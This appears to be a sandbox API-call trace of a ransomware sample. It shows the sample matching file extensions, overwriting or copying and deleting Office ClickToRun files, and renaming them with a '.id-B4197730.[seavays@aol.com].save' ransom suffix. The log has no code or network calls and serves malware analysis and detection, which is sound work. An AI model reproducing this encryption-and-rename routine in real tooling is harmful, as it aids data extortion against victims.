lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.582] lstrlenW (lpString=".docx") returned 5 [0068.582] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.582] lstrlenW (lpString=".pdf") returned 4 [0068.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.582] lstrlenW (lpString=".xls") returned 4 [0068.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.582] lstrlenW (lpString=".xlsx") returned 5 [0068.582] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.582] lstrlenW (lpString=".ppt") returned 4 [0068.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.582] lstrlenW (lpString=".zip") returned 4 [0068.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString=".rar") returned 4 [0068.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString=".bz2") returned 4 [0068.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.583] lstrlenW (lpString=".7z") returned 3 [0068.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.583] lstrlenW (lpString=".dbf") returned 4 [0068.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.583] lstrlenW (lpString=".1cd") returned 4 [0068.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.583] lstrlenW (lpString=".jpg") returned 4 [0068.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.583] lstrlenW (lpString=".doc") returned 4 [0068.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString=".docx") returned 5 [0068.583] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0068.583] lstrlenW (lpString=".pdf") returned 4 [0068.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString=".xls") returned 4 [0068.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.583] lstrlenW (lpString=".xlsx") returned 5 [0068.583] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0068.584] lstrlenW (lpString=".ppt") returned 4 [0068.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.584] lstrlenW (lpString=".zip") returned 4 [0068.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.584] lstrlenW (lpString=".rar") returned 4 [0068.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.584] lstrlenW (lpString=".bz2") returned 4 [0068.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.584] lstrlenW (lpString=".7z") returned 3 [0068.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.584] lstrlenW (lpString=".dbf") returned 4 [0068.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.584] lstrlenW (lpString=".1cd") returned 4 [0068.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0068.584] lstrlenW (lpString=".jpg") returned 4 [0068.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.584] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.584] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0068.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.585] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=656088) returned 1 [0068.585] CloseHandle (hObject=0x2ec) returned 1 [0068.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0068.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.585] lstrlenW (lpString=".doc") returned 4 [0068.585] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.585] lstrlenW (lpString=".docx") returned 5 [0068.585] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0068.585] lstrlenW (lpString=".pdf") returned 4 [0068.585] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.585] lstrlenW (lpString=".xls") returned 4 [0068.585] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.585] lstrlenW (lpString=".xlsx") returned 5 [0068.585] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0068.585] lstrlenW (lpString=".ppt") returned 4 [0068.585] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".zip") returned 4 [0068.586] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString=".rar") returned 4 [0068.586] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString=".bz2") returned 4 [0068.586] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.586] lstrlenW (lpString=".7z") returned 3 [0068.586] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".dbf") returned 4 [0068.586] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".1cd") returned 4 [0068.586] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".jpg") returned 4 [0068.586] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".doc") returned 4 [0068.586] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString=".docx") returned 5 [0068.586] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0068.586] lstrlenW (lpString=".pdf") returned 4 [0068.586] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString=".xls") returned 4 [0068.586] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString=".xlsx") returned 5 [0068.586] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0068.586] lstrlenW (lpString=".ppt") returned 4 [0068.586] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.586] lstrlenW (lpString=".zip") returned 4 [0068.587] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.587] lstrlenW (lpString=".rar") returned 4 [0068.587] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.587] lstrlenW (lpString=".bz2") returned 4 [0068.587] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.587] lstrlenW (lpString=".7z") returned 3 [0068.587] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.587] lstrlenW (lpString=".dbf") returned 4 [0068.587] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.587] lstrlenW (lpString=".1cd") returned 4 [0068.587] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0068.587] lstrlenW (lpString=".jpg") returned 4 [0068.587] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.587] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0068.587] lstrlenW (lpString="appvcleaner.exe") returned 15 [0068.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.588] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2054872) returned 1 [0068.588] CloseHandle (hObject=0x2ec) returned 1 [0068.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0068.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seavays@aol.com].save")) returned 1 [0068.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.589] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0x0) returned 1 [0068.589] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.589] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d02058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.989] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.989] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d42058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0068.992] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0068.992] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d82058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0069.007] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0069.007] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x314fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fca8*=0xc010a, lpOverlapped=0x0) returned 1 [0069.405] SetEndOfFile (hFile=0x2ec) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x436b020 [0069.412] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0069.412] WriteFile (in: hFile=0x2ec, lpBuffer=0x436b020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x436b020*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.414] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0069.414] WriteFile (in: hFile=0x2ec, lpBuffer=0x436b020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x436b020*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.416] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x314fc74 | out: lpNewFilePointer=0x0) returned 1 [0069.416] WriteFile (in: hFile=0x2ec, lpBuffer=0x436b020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc80, lpOverlapped=0x0 | out: lpBuffer=0x436b020*, lpNumberOfBytesWritten=0x314fc80*=0x40000, lpOverlapped=0x0) returned 1 [0069.418] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0069.418] CloseHandle (hObject=0x2ec) returned 1 [0072.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0072.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.888] lstrlenW (lpString=".doc") returned 4 [0072.888] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.889] lstrlenW (lpString=".docx") returned 5 [0072.889] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0072.889] lstrlenW (lpString=".pdf") returned 4 [0072.889] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString=".xls") returned 4 [0072.889] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString=".xlsx") returned 5 [0072.889] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0072.889] lstrlenW (lpString=".ppt") returned 4 [0072.889] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString=".zip") returned 4 [0072.889] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString=".rar") returned 4 [0072.889] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString=".bz2") returned 4 [0072.889] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.889] lstrlenW (lpString=".7z") returned 3 [0072.889] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString=".dbf") returned 4 [0072.889] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString=".1cd") returned 4 [0072.889] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString=".jpg") returned 4 [0072.889] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.889] lstrlenW (lpString=".doc") returned 4 [0072.889] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0072.889] lstrlenW (lpString=".docx") returned 5 [0072.890] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0072.890] lstrlenW (lpString=".pdf") returned 4 [0072.890] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0072.890] lstrlenW (lpString=".xls") returned 4 [0072.890] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0072.890] lstrlenW (lpString=".xlsx") returned 5 [0072.890] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0072.890] lstrlenW (lpString=".ppt") returned 4 [0072.890] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.890] lstrlenW (lpString=".zip") returned 4 [0072.890] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0072.890] lstrlenW (lpString=".rar") returned 4 [0072.890] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0072.890] lstrlenW (lpString=".bz2") returned 4 [0072.890] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0072.890] lstrlenW (lpString=".7z") returned 3 [0072.890] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.890] lstrlenW (lpString=".dbf") returned 4 [0072.890] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.890] lstrlenW (lpString=".1cd") returned 4 [0072.890] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0072.890] lstrlenW (lpString=".jpg") returned 4 [0072.890] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0072.890] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0072.891] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0072.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.336] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=996568) returned 1 [0073.372] CloseHandle (hObject=0x378) returned 1 [0073.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0073.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.372] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.372] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0073.373] GetLastError () returned 0x0 [0073.373] ReadFile (in: hFile=0x378, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0073.399] WriteFile (in: hFile=0x310, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0073.651] ReadFile (in: hFile=0x378, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.651] WriteFile (in: hFile=0x310, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf4, lpOverlapped=0x0) returned 1 [0073.651] SetEndOfFile (hFile=0x310) returned 1 [0073.651] CloseHandle (hObject=0x310) returned 1 [0073.652] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.652] SetEndOfFile (hFile=0x378) returned 1 [0073.662] CloseHandle (hObject=0x378) returned 1 [0073.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0073.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.663] lstrlenW (lpString=".doc") returned 4 [0073.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString=".docx") returned 5 [0073.663] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0073.663] lstrlenW (lpString=".pdf") returned 4 [0073.663] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString=".xls") returned 4 [0073.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString=".xlsx") returned 5 [0073.663] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0073.663] lstrlenW (lpString=".ppt") returned 4 [0073.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.663] lstrlenW (lpString=".zip") returned 4 [0073.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString=".rar") returned 4 [0073.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0073.663] lstrlenW (lpString=".bz2") returned 4 [0073.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0073.663] lstrlenW (lpString=".7z") returned 3 [0073.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.663] lstrlenW (lpString=".dbf") returned 4 [0073.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.663] lstrlenW (lpString=".1cd") returned 4 [0073.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0073.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0073.664] lstrlenW (lpString=".jpg") returned 4 [0073.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0073.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 